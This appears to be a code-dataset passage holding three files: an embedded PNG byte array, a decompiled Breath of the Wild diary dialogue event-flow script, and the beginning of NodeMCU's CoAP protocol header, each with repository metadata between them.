0x46,0xa0,0x00,0xf0,0xc6,0xb5,0xd0,0x11,0x05,0x41,0xa5,0x50,0xc7,0x5d,0x40,0x0c,
0x96,0xca,0xb9,0x64,0xec,0xfb,0xa5,0x15,0xc0,0x60,0x2b,0xd1,0x31,0xb9,0x84,0x54,
0x66,0x15,0xe8,0xce,0x5f,0xf9,0x32,0x15,0x82,0x7e,0x39,0xd7,0x6a,0x9e,0xdc,0x98,
0x88,0xa3,0x5f,0x3a,0x01,0x74,0xb4,0x71,0x31,0x88,0x0a,0x45,0xa7,0x63,0x87,0x50,
0x3e,0xbc,0x35,0x82,0xdc,0xc5,0x11,0x19,0x89,0xa1,0x97,0x95,0x72,0x2e,0x99,0x8f,
0x7e,0xe9,0x04,0x50,0x1f,0xe1,0xc8,0x6d,0x56,0xc9,0x72,0xd0,0x6b,0x07,0xe0,0xbf,
0x9b,0x25,0x16,0x42,0x86,0x0d,0xe5,0x5c,0x32,0x1f,0xfd,0xd2,0x09,0x80,0x76,0xfd,
0x9e,0x70,0x90,0x40,0x32,0xbb,0xb4,0x69,0x34,0x19,0x47,0x0a,0x59,0x86,0x69,0xf8,
0x77,0x81,0xc8,0x62,0xd0,0x16,0x6a,0x0e,0xe7,0x79,0x55,0x53,0xe4,0xd1,0x2f,0x6d,
0x45,0x10,0x1f,0x7e,0x7d,0x1f,0x3b,0xf0,0xa9,0x39,0xbe,0x1f,0x55,0xce,0x88,0xb1,
0xc8,0x64,0x4f,0x39,0x97,0x3d,0x18,0x25,0xfc,0x4e,0x60,0x79,0x09,0xe0,0xdf,0x3c,
0x93,0x45,0x7b,0xea,0x68,0x27,0x2d,0x1e,0x85,0x05,0x1f,0xe1,0xbf,0xfb,0x04,0xb0,
0x0a,0xf6,0x96,0x73,0xd9,0x5b,0x20,0xea,0x56,0x02,0x98,0x28,0x50,0x51,0x08,0x05,
0x89,0x99,0xd8,0xa1,0x44,0x12,0xa5,0x63,0x29,0xe9,0xc4,0x47,0xea,0xd9,0x91,0x72,
0x2e,0x5b,0x40,0x81,0xad,0x87,0x3b,0xde,0x2d,0x5c,0x8c,0x93,0x3c,0xb4,0xb9,0x85,
0x96,0x6c,0x03,0xca,0x2e,0x07,0x89,0x73,0xb4,0x9c,0xcb,0x1a,0x96,0x22,0xf9,0x12,
0x9f,0x46,0x26,0x9d,0x00,0xda,0x88,0x5c,0x17,0x48,0xb9,0x85,0x1e,0xf8,0x99,0x14,
0x3c,0x7e,0x8e,0x7f,0x1f,0xb3,0x91,0x48,0x67,0xca,0xb9,0x2c,0x61,0x25,0x7e,0x07,
0x7f,0x69,0xc9,0x97,0x56,0x00,0xe1,0x0e,0x4c,0x05,0xf9,0x3a,0xd3,0xe7,0x13,0xe6,
0x22,0xe8,0x96,0xec,0x5b,0x2d,0x90,0xea,0x6c,0x39,0x97,0xa5,0x45,0xa3,0x20,0x79,
0xdc,0x81,0x4d,0x3a,0x01,0x90,0xdf,0x3b,0x2c,0xf1,0x5c,0x5e,0x9b,0x5b,0xa0,0xc4,
0xd4,0x4c,0x14,0x85,0xbe,0x6f,0xe7,0xa3,0x9c,0xcb,0x14,0xe8,0xa8,0xda,0x30,0xf9,
0xdc,0x7f,0x51,0xda,0xad,0x61,0x9b,0x65,0x92,0xd5,0xd3,0xe6,0x16,0xe8,0xa4,0x2f,
0x9a,0x49,0xe4,0xe2,0xff,0xf9,0x28,0xe7,0x32,0x15,0x93,0xc8,0xec,0x48,0x5a,0x69,
0x05,0x30,0x4f,0x86,0xcb,0xc0,0x14,0xe4,0xd1,0x0c,0x25,0x8a,0x87,0x72,0x2e,0xe3,
0xf7,0xad,0x2b,0xbf,0x7b,0x2f,0x4b,0x2b,0x80,0x91,0x32,0xdd,0x1f,0x20,0x44,0xdc,
0xd1,0x58,0xfc,0x2c,0x9f,0xfc,0x05,0x90,0x22,0xa3,0x1d,0x42,0x42,0x81,0xe2,0x9c,
0x96,0xf2,0x24,0x5f,0x7a,0x01,0x34,0x53,0xb8,0x00,0x68,0xaa,0xd9,0x41,0xbe,0xe4,
0x4b,0x2f,0x80,0x6a,0x12,0x4d,0x05,0xc5,0xda,0x14,0xd2,0x5d,0xde,0xe4,0xcb,0xe3,
0x16,0x31,0x8d,0xb0,0x93,0xa6,0x4a,0xb0,0xa2,0x27,0x34,0xde,0x92,0x66,0x71,0xc7,
0x75,0x6f,0x13,0x17,0x80,0xe8,0xc3,0xa6,0x60,0xae,0x4e,0x7e,0x86,0x6b,0x90,0x2f,
0xdf,0x5b,0xc5,0xba,0xb2,0x55,0x98,0xe0,0x3a,0xe4,0xcb,0xff,0x76,0xf1,0xae,0x66,
0x15,0x66,0x4a,0xb7,0xac,0xab,0xfc,0x23,0x63,0xe4,0x6e,0x15,0x16,0xe0,0x77,0xf3,
0x72,0xbd,0xb3,0x96,0x5d,0xef,0xd4,0x30,0x39,0x5a,0x85,0x1c,0xb6,0x1d,0x4c,0xa3,
0x0a,0xc0,0xfd,0xac,0x02,0xdd,0xe5,0x34,0xc0,0x35,0xc9,0x57,0xce,0xd9,0xc1,0x44,
0x40,0x6f,0x09,0xac,0xc2,0x37,0xac,0x4a,0x48,0xa3,0x0a,0xc0,0xfd,0xac,0x02,0x15,
0x87,0xd4,0x70,0x6d,0xf2,0x95,0x29,0x00,0x31,0xac,0x02,0xed,0x5f,0x7c,0xc1,0xf5,
0xc9,0x57,0xb6,0x00,0x8c,0xad,0xc2,0x14,0x9e,0xac,0xc2,0x7e,0x56,0x22,0xa6,0x51,
0x05,0xe0,0x7e,0x56,0x81,0x6e,0x6d,0xd3,0x5c,0xfe,0xf9,0x7d,0x55,0x00,0x42,0x58,
0x05,0xba,0xad,0xcd,0xcb,0xca,0x22,0xdf,0xbd,0x05,0x60,0x6c,0x15,0xd6,0x5b,0x10,
0x02,0x6d,0x63,0xeb,0xac,0x3c,0xf2,0x55,0x01,0xd8,0x6a,0x15,0x7a,0xbb,0x56,0x7e,
0x5f,0x15,0x00,0x9f,0x56,0x21,0x5d,0xb9,0xe4,0xab,0x02,0x50,0xa1,0x0a,0xc0,0xfa,
0xa1,0x56,0xde,0xde,0xd0,0xa2,0x45,0x0b,0xf0,0xf3,0xf3,0x53,0x05,0x20,0x06,0x56,
0xad,0x5a,0x05,0xf9,0xf9,0xf9,0xf0,0xc1,0x07,0x1f,0xd8,0x75,0xbd,0x3e,0x36,0x6d,
0xda,0x04,0x0b,0x16,0x2c,0xe0,0x4e,0x06,0x8f,0x8c,0x8c,0x74,0xea,0xfb,0x6c,0xd9,
0xb2,0x85,0x3b,0x3f,0x60,0xff,0xfe,0xfd,0xaa,0x00,0xc4,0xc0,0xdd,0xbb,0x77,0xb9,
0x0e,0x27,0x62,0xed,0xb9,0xde,0xec,0xf1,0x6f,0x4f,0x9e,0x40,0x6e,0x6e,0x2e,0x04,
0x05,0x05,0x39,0xf4,0x7d,0x0a,0x0a,0x0a,0x9e,0x9e,0x22,0x8a,0x47,0xd2,0xf1,0xba,
0x39,0xb6,0x7f,0x7f,0x0e,0xaa,0x00,0x78,0x12,0xc0,0x15,0x3c,0x2a,0x6e,0xd1,0xa2,
0x45,0x90,0x9d,0x9d,0x0d,0x5b,0xb7,0x6e,0x85,0x0b,0x17,0x2e,0x18,0x08,0x61,0xfd,
0xfa,0xf5,0x0e,0x7d,0x9f,0xe9,0xd3,0xa7,0x43,0x49,0x49,0x09,0x2c,0x59,0xb2,0x84,
0xb7,0xdf,0x48,0x27,0x96,0x93,0xa0,0xe8,0xb4,0x72,0x55,0x00,0x3c,0x09,0xc0,0xf8,
0x7a,0x4f,0x4f,0x4f,0xe8,0xdb,0xb7,0x2f,0x94,0xe9,0x1d,0x31,0x1b,0x1b,0x1b,0x2b,
0x0b,0xd3,0x4b,0xc7,0xd5,0x53,0x53,0x05,0x20,0xa0,0x00,0xb4,0x98,0x34,0x69,0x92,
0x4e,0x00,0x03,0x07,0x0e,0xd4,0x3d,0xde,0xb9,0x73,0x67,0x18,0x35,0x6a,0x14,0x24,
0x24,0x24,0x70,0xff,0x6f,0xda,0xb4,0x29,0x77,0xed,0xc2,0x85,0x0b,0x21,0x27,0x27,
0x07,0xea,0xd7,0xaf,0x6f,0x70,0x5d,0x6a,0x6a,0xaa,0xc1,0xfb,0xea,0xbf,0xde,0xd7,
0xd7,0x17,0x3a,0x75,0xea,0x04,0x93,0xf1,0xbc,0xc2,0x75,0xeb,0xd6,0xc1,0xb2,0x65,
0xcb,0x60,0xec,0xd8,0xb1,0x50,0xa7,0x4e,0x1d,0xc3,0x0d,0xb1,0x1e,0x1e,0xdc,0xeb,
0x8e,0x1e,0x3d,0xaa,0xfb,0x4e,0xf4,0x1e,0x5a,0xb4,0x6f,0xdf,0x5e,0x15,0x00,0xdf,
0x02,0xe8,0xd8,0xb1,0xa3,0xae,0xb3,0x87,0x0f,0x1f,0xfe,0xe7,0x99,0x05,0x3b,0x77,
0x72,0x8f,0x65,0x66,0x66,0xc2,0xac,0x59,0xb3,0x2a,0xc5,0x0e,0x5a,0x6b,0xa1,0xbd,
0xee,0xd0,0xa1,0x43,0x86,0x67,0x1e,0xb0,0xc7,0x37,0x6c,0xd8,0x00,0xbb,0x77,0xef,
0x36,0x19,0x7f,0x3c,0xc4,0xe3,0x67,0xd3,0xd2,0xd2,0x74,0xaf,0xc9,0xc8,0xc8,0xb0,
0x18,0xaf,0x50,0xac,0xa2,0x0a,0x80,0x67,0x01,0x50,0xa0,0xa5,0x6d,0x83,0x07,0x0f,
0xae,0x44,0xa0,0x7e,0xbb,0x85,0xc7,0xc5,0x53,0xd0,0x77,0xe6,0xcc,0x19,0xa8,0x52,
0xa5,0x8a,0x4d,0x02,0xd0,0x36,0x72,0x35,0x7b,0xf6,0xec,0xe1,0x62,0x8d,0x53,0xa7,
0x4e,0xe9,0x1e,0xa7,0x63,0xe9,0x22,0x22,0x22,0xb8,0xd7,0xb4,0x6d,0xdb,0x96,0xb3,
0x10,0xd7,0xaf,0x5f,0xd7,0x3d,0x4f,0xff,0xd7,0x62,0xe8,0xd0,0xa1,0xaa,0x00,0xf8,
0x14,0x40,0x40,0x40,0x00,0x1c,0x39,0x72,0x44,0xd7,0xd9,0x71,0x71,0x71,0x26,0x09,
0xac,0xa8,0xa8,0xe0,0x4e,0x24,0xa7,0xb8,0xc1,0xf8,0x3d,0x6c,0x11,0xc0,0xb9,0x73,
0xe7,0x20,0x26,0x26,0x46,0xf7,0x9c,0x97,0x97,0x17,0xe4,0xe5,0xe5,0xe9,0x9e,0x4f,
0x4f,0x4f,0x37,0x78,0x2d,0x05,0x94,0x6a,0x0c,0xc0,0xb3,0x00,0xa8,0xc3,0x03,0x03,
0x03,0xe1,0xb9,0xe7,0x9e,0x83,0xf8,0xf8,0x78,0xce,0xdc,0x17,0x17,0x17,0xeb,0x48,
0xa0,0x79,0x3c,0x25,0x75,0x4c,0x11,0xb8,0x74,0xe9,0x52,0xf3,0xc7,0xdb,0xd8,0x20,
0x80,0x3e,0x7d,0xfa,0x54,0xde,0xf8,0x9a,0x92,0xa2,0x7b,0x7e,0xc6,0x8c,0x19,0xaa,
0x00,0xa4,0xca,0x03,0x50,0xa3,0x73,0x00,0x49,0x18,0xe6,0x08,0xac,0x59,0xb3,0xa6,
0xc3,0x02,0xa0,0xc3,0x26,0x69,0xc4,0x9b,0xb2,0x3e,0xe5,0xe5,0xe5,0xdc,0x35,0xc6,
0x53,0x48,0x55,0x00,0x22,0x09,0xe0,0xe2,0xc5,0x8b,0x5c,0x36,0xd0,0x54,0x12,0x48,
0x4b,0x20,0x89,0xc3,0xd2,0xfb,0x5b,0x13,0xc0,0xa5,0x4b,0x97,0xcc,0xbe,0x96,0x08,
0x76,0x65,0x01,0x84,0x22,0xca,0x5c,0x45,0x00,0x64,0xe2,0x13,0x13,0x13,0xb9,0xa9,
0x54,0x74,0x74,0xb4,0x2e,0x88,0xb3,0x46,0xec,0xe1,0xc3,0x87,0x9d,0x12,0x80,0xa5,
0xd7,0xcb,0x5c,0x00,0xc4,0x6d,0x2a,0x13,0x40,0xa8,0x39,0x01,0xdc,0x70,0xf5,0x59,
0x80,0xbd,0xc4,0xda,0x2b,0x00,0x4b,0xaf,0x97,0xb9,0x00,0x6e,0x22,0xba,0x23,0x9a,
0x98,0x13,0x40,0x08,0xe2,0xa0,0x2a,0x00,0xe1,0x04,0xf0,0xe0,0xc1,0x03,0x2e,0x39,
0x24,0x91,0x00,0x0a,0x11,0xdd,0x10,0x8d,0x18,0xd7,0x06,0x02,0xc0,0x6d,0x6e,0x1a,
0xdc,0xf3,0xa0,0x59,0xae,0x0a,0x80,0x7f,0x01,0xcc,0x9b,0x37,0x4f,0x17,0xa7,0x68,
0x33,0x91,0x12,0xe0,0x6b,0x44,0x27,0x44,0x24,0xe3,0xda,0x4b,0x5f,0x00,0x78,0x43,
0x6c,0x4d,0x20,0x62,0x90,0x54,0x02,0x28,0x2a,0x2a,0xe2,0x12,0x23,0xa6,0x30,0x64,
0xc8,0x10,0x9d,0x8f,0x77,0x45,0x01,0x8c,0x18,0x31,0x42,0x27,0x80,0xed,0xdb,0xb7,
0x43,0xb3,0x66,0xcd,0x20,0x2c,0x2c,0x0c,0x42,0x43,0x43,0xc5,0xec,0xeb,0xc9,0x88,
0x76,0x88,0x3a,0x8c,0x6b,0x4f,0x7d,0x01,0xe0,0x7d,0x1c,0x35,0xcf,0x20,0xf0,0x7c,
0x06,0xcd,0x7d,0x29,0x04,0x60,0xad,0xd1,0x5c,0xdf,0x55,0x05,0x50,0xbb,0x76,0x6d,
0x2e,0x4d,0x6c,0xdc,0x28,0x93,0x28,0x52,0x3f,0x13,0xa7,0xfd,0x11,0xad,0x10,0x11,
0x8c,0x6b,0x0f,0x63,0x01,0xe0,0xb9,0x0e,0x1a,0xbc,0x45,0xae,0x26,0x5b,0x4c,0x01,
0xd0,0xb2,0xae,0xb5,0x46,0x99,0xbb,0x46,0x8d,0x1a,0x19,0x5c,0x9f,0x95,0x95,0x65,
0xdf,0x4d,0x2a,0x37,0x6f,0xe6,0x5e,0xb7,0x77,0xef,0x5e,0x87,0xae,0xb3,0xe5,0xf5,
0x34,0xc5,0xa4,0x36,0x67,0xce,0x9c,0x4a,0xcf,0xf5,0xec,0xd9,0x13,0x6e,0xdc,0xb8,
0x61,0xf0,0xbb,0x76,0xed,0xda,0x25,0x56,0x3f,0xaf,0x41,0xbc,0xc6,0x66,0x00,0xd5,
0x19,0xd7,0x06,0x02,0xd0,0xc6,0x01,0x55,0x11,0xad,0x11,0xa5,0x6a,0x79,0x18,0xff,
0xa0,0x04,0x52,0xbd,0x7a,0xf5,0xa0,0x4d,0x9b,0x36,0xdc,0xd4,0x95,0x56,0x15,0x45,
0xf8,0x5c,0xe2,0x72,0x28,0x33,0xff,0x75,0x19,0xc7,0x5e,0x1a,0x13,0x8d,0x14,0x81,
0x37,0xb4,0xd6,0xd4,0x44,0xcc,0x51,0x09,0x53,0x0c,0xb2,0x10,0x29,0x88,0x58,0xc6,
0xad,0xbf,0xa9,0xd1,0xaf,0x3f,0x1d,0x24,0x85,0x34,0x44,0xfc,0xa8,0x76,0x9e,0xcb,
0xe3,0x30,0xf3,0xfd,0xaf,0xe8,0x8d,0x7e,0x6f,0x8d,0x85,0x46,0xca,0xc0,0x53,0x52,
0x34,0xcf,0x22,0xda,0x22,0x2e,0xab,0x9d,0xe8,0xb2,0xb8,0xcc,0x4c,0x7f,0x32,0xa2,
0x31,0xe3,0xd4,0xcf,0xd2,0xe8,0xd7,0x8f,0x05,0xf0,0x96,0xf9,0x1a,0xbc,0xd1,0xb5,
0xe6,0x55,0x55,0x04,0x2e,0x4b,0xfe,0xfb,0x88,0xae,0xcc,0xf4,0x87,0x33,0x4e,0xbd,
0x34,0x36,0x34,0x0f,0x66,0x26,0xf0,0x8c,0x03,0xcd,0xf3,0x4c,0x41,0x85,0x6a,0xa7,
0xba,0x94,0xd9,0x1f,0xca,0xc8,0x8f,0x63,0x1c,0x06,0x31,0x4e,0x3d,0x34,0x36,0x36,
0xba,0xd0,0x87,0xf9,0x0c,0x7a,0x83,0x78,0xc4,0xe7,0xea,0xec,0x40,0xd6,0x28,0x65,
0x01,0x5f,0x7f,0x36,0x68,0x63,0x19,0x77,0x55,0x19,0x97,0x36,0x93,0x6f,0x2c,0x82,
0x20,0x66,0x42,0x1a,0xb3,0xc5,0x84,0x15,0x62,0x27,0x8b,0x54,0x58,0x4d,0xf2,0xac,
0x61,0xa3,0x3e,0x85,0x05,0x7c,0x8d,0x19,0x67,0x41,0x8e,0x92,0x6f,0xec,0x0e,0xaa,
0xb0,0x20,0xa2,0x2e,0x53,0x56,0x12,0x62,0x3c,0x62,0x35,0x9b,0x2d,0xdc,0x94,0x62,
0x29,0xd9,0x0d,0x51,0xc6,0xfa,0xba,0x90,0xe5,0xf6,0x27,0xb3,0x11,0xff,0x1a,0x9b,
0xe7,0xc7,0x32,0x8e,0x9e,0x65,0x9c,0x79,0x3b,0x43,0xbe,0xbe,0x08,0xbc,0x58,0x04,
0x59,0x95,0xcd,0x25,0xeb,0xb2,0xac,0x12,0xa5,0x16,0xdb,0xb3,0x45,0x86,0x6e,0x4c,
0x81,0xa9,0xac,0xf0,0x40,0x05,0xff,0x48,0x65,0x7d,0xdc,0x8d,0xf5,0x79,0x7b,0xc6,
0x41,0x53,0xc6,0x49,0x4d,0xc6,0x91,0x1f,0xe3,0xcc,0x69,0xf2,0x4d,0x59,0x03,0x7f,
0x66,0x5a,0xaa,0xb3,0xbc,0x72,0x1d,0xb6,0xc2,0x44,0xcb,0x8c,0x31,0xec,0xcb,0xa8,
0x10,0x0e,0x31,0xac,0xaf,0x23,0x59,0xdf,0x47,0x30,0x2e,0x82,0x18,0x37,0xde,0x7c,
0x13,0x6f,0xce,0x22,0xf8,0xb2,0x45,0x85,0x40,0xb6,0xbc,0x18,0xc2,0x0a,0x0d,0x42,
0x59,0xc9,0x91,0x0a,0xfe,0xa1,0xed,0xdf,0x10,0xd6,0xe7,0x81,0x8c,0x03,0x5f,0x21,
0x46,0xbc,0xda,0x14,0xde,0xfe,0x0f,0x3f,0x32,0xcb,0x3d,0x4b,0xc2,0x3f,0x09,0x00,
0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82,
};
|
ddbaaeba72c8e895d6d6bf8ab1263492455e570a
|
61be4a7bfc24468a1227ea797150520c83257844
|
/event/Obj_DiaryTamul_A_01.c
|
7377dcf1ceead1bd49d18100e0cfd6947bf24dfb
|
[] |
no_license
|
MrCheeze/botw-tools
|
491e6a2d06191efa7fc7048aefb48b3b38a59a52
|
9a9e845beed87f5ec417c01e515d0fa01366366c
|
refs/heads/master
| 2022-06-26T01:34:38.353269
| 2022-06-20T14:52:01
| 2022-06-20T14:53:26
| 85,882,713
| 238
| 92
| null | 2017-05-01T22:15:30
| 2017-03-22T22:34:34
|
Python
|
UTF-8
|
C
| false
| false
| 7,200
|
c
|
Obj_DiaryTamul_A_01.c
|
-------- EventFlow: Obj_DiaryTamul_A_01 --------
Actor: Obj_DiaryTamul_A_01
entrypoint: None()
actions: ['Demo_Talk']
queries: []
params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}
Actor: EventSystemActor
entrypoint: None()
actions: ['Demo_FlagON']
queries: ['CheckFlag', 'GeneralChoice4']
params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}
void Talk() {
call InitTalk.InitTalk({'Arg_Turn': 0, 'Arg_Greeting': 'FollowAISchedule'})
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk00', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
EventSystemActor.Demo_FlagON({'FlagName': 'AncientLabo_Diary_Read', 'IsWaitFinish': True})
Event4:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk01', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
if EventSystemActor.GeneralChoice4() == 2 {
Event6:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk02', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event10:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk03', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event12:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk04', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event14:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk05', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event16:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk06', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event18:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk07', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event20:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk08', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
if EventSystemActor.CheckFlag({'FlagName': 'CarryingBlueFireEXMini_Finish'}) {
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk11'})
switch EventSystemActor.GeneralChoice4() {
case 1:
Event24:
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk10', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
if EventSystemActor.GeneralChoice4() == 2 {
goto Event20
}
case 2:
goto Event18
}
} else {
Obj_DiaryTamul_A_01.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'MessageId': 'EventFlowMsg/Obj_DiaryTamul_A_01:talk09', 'IsOverWriteLabelActorName': False, 'CloseDialogOption': 0, 'IsWaitAS': False, 'MessageOpenDelayTime': 0})
if EventSystemActor.GeneralChoice4() == 2 {
goto Event18
}
}
case 2:
goto Event16
}
case 2:
goto Event14
}
case 2:
goto Event12
}
case 2:
goto Event10
}
case 2:
goto Event6
}
case 2:
goto Event4
}
}
case 2:
EventSystemActor.Demo_FlagON({'FlagName': 'AncientLabo_Diary_Read', 'IsWaitFinish': True})
if EventSystemActor.CheckFlag({'FlagName': 'CarryingBlueFireEXMini_Finish'}) {
goto Event24
} else {
goto Event20
}
}
}
|
1ae21dc9b3c5d9a6bac2a91f1d39f584c501e742
|
3c6e1e35f38421273f92dd25055dccc6f632fd93
|
/app/coap/coap.h
|
ad4655358e2358e10647a3851fa8d17db2c1671e
|
[
"MIT"
] |
permissive
|
nodemcu/nodemcu-firmware
|
fd907ddf01bf17fdc55dd352d6987ee91d8b95e3
|
f25dc56d3c6213b8ac7ce46d1293466137746eae
|
refs/heads/release
| 2023-08-22T21:46:10.995686
| 2021-12-30T07:46:20
| 2021-12-30T07:46:20
| 26,917,568
| 8,077
| 3,888
|
MIT
| 2023-07-25T09:20:45
| 2014-11-20T15:06:45
|
C
|
UTF-8
|
C
| false
| false
| 6,891
|
h
|
coap.h
|
#ifndef COAP_H
#define COAP_H 1
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#include <stddef.h>
#include "lauxlib.h"
#define MAXOPT 16
#define MAX_MESSAGE_SIZE 1152
#define MAX_PAYLOAD_SIZE 1024
#define MAX_REQUEST_SIZE 576
#define MAX_REQ_SCRATCH_SIZE 60
#define COAP_RESPONSE_CLASS(C) (((C) >> 5) & 0xFF)
//http://tools.ietf.org/html/rfc7252#section-3
typedef struct
{
uint8_t ver; /* CoAP version number */
uint8_t t; /* CoAP Message Type */
uint8_t tkl; /* Token length: indicates length of the Token field */
uint8_t code; /* CoAP status code. Can be request (0.xx), success reponse (2.xx),
* client error response (4.xx), or rever error response (5.xx)
* For possible values, see http://tools.ietf.org/html/rfc7252#section-12.1 */
uint8_t id[2];
} coap_header_t;
typedef struct
{
const uint8_t *p;
size_t len;
} coap_buffer_t;
typedef struct
{
uint8_t *p;
size_t len;
} coap_rw_buffer_t;
typedef struct
{
uint8_t num; /* Option number. See http://tools.ietf.org/html/rfc7252#section-5.10 */
coap_buffer_t buf; /* Option value */
} coap_option_t;
typedef struct
{
coap_header_t hdr; /* Header of the packet */
coap_buffer_t tok; /* Token value, size as specified by hdr.tkl */
uint8_t numopts; /* Number of options */
coap_option_t opts[MAXOPT]; /* Options of the packet. For possible entries see
* http://tools.ietf.org/html/rfc7252#section-5.10 */
coap_buffer_t payload; /* Payload carried by the packet */
coap_rw_buffer_t content; // content->p = malloc(...) , and free it when done.
} coap_packet_t;
/////////////////////////////////////////
//http://tools.ietf.org/html/rfc7252#section-12.2
typedef enum
{
COAP_OPTION_IF_MATCH = 1,
COAP_OPTION_URI_HOST = 3,
COAP_OPTION_ETAG = 4,
COAP_OPTION_IF_NONE_MATCH = 5,
COAP_OPTION_OBSERVE = 6,
COAP_OPTION_URI_PORT = 7,
COAP_OPTION_LOCATION_PATH = 8,
COAP_OPTION_URI_PATH = 11,
COAP_OPTION_CONTENT_FORMAT = 12,
COAP_OPTION_MAX_AGE = 14,
COAP_OPTION_URI_QUERY = 15,
COAP_OPTION_ACCEPT = 17,
COAP_OPTION_LOCATION_QUERY = 20,
COAP_OPTION_PROXY_URI = 35,
COAP_OPTION_PROXY_SCHEME = 39
} coap_option_num_t;
//http://tools.ietf.org/html/rfc7252#section-12.1.1
typedef enum
{
COAP_METHOD_GET = 1,
COAP_METHOD_POST = 2,
COAP_METHOD_PUT = 3,
COAP_METHOD_DELETE = 4
} coap_method_t;
//http://tools.ietf.org/html/rfc7252#section-12.1.1
typedef enum
{
COAP_TYPE_CON = 0,
COAP_TYPE_NONCON = 1,
COAP_TYPE_ACK = 2,
COAP_TYPE_RESET = 3
} coap_msgtype_t;
//http://tools.ietf.org/html/rfc7252#section-5.2
//http://tools.ietf.org/html/rfc7252#section-12.1.2
#define MAKE_RSPCODE(clas, det) ((clas << 5) | (det))
typedef enum
{
COAP_RSPCODE_CONTENT = MAKE_RSPCODE(2, 5),
COAP_RSPCODE_NOT_FOUND = MAKE_RSPCODE(4, 4),
COAP_RSPCODE_BAD_REQUEST = MAKE_RSPCODE(4, 0),
COAP_RSPCODE_CHANGED = MAKE_RSPCODE(2, 4)
} coap_responsecode_t;
//http://tools.ietf.org/html/rfc7252#section-12.3
typedef enum
{
COAP_CONTENTTYPE_NONE = -1, // bodge to allow us not to send option block
COAP_CONTENTTYPE_TEXT_PLAIN = 0,
COAP_CONTENTTYPE_APPLICATION_LINKFORMAT = 40,
COAP_CONTENTTYPE_APPLICATION_XML = 41,
COAP_CONTENTTYPE_APPLICATION_OCTET_STREAM = 42,
COAP_CONTENTTYPE_APPLICATION_EXI = 47,
COAP_CONTENTTYPE_APPLICATION_JSON = 50,
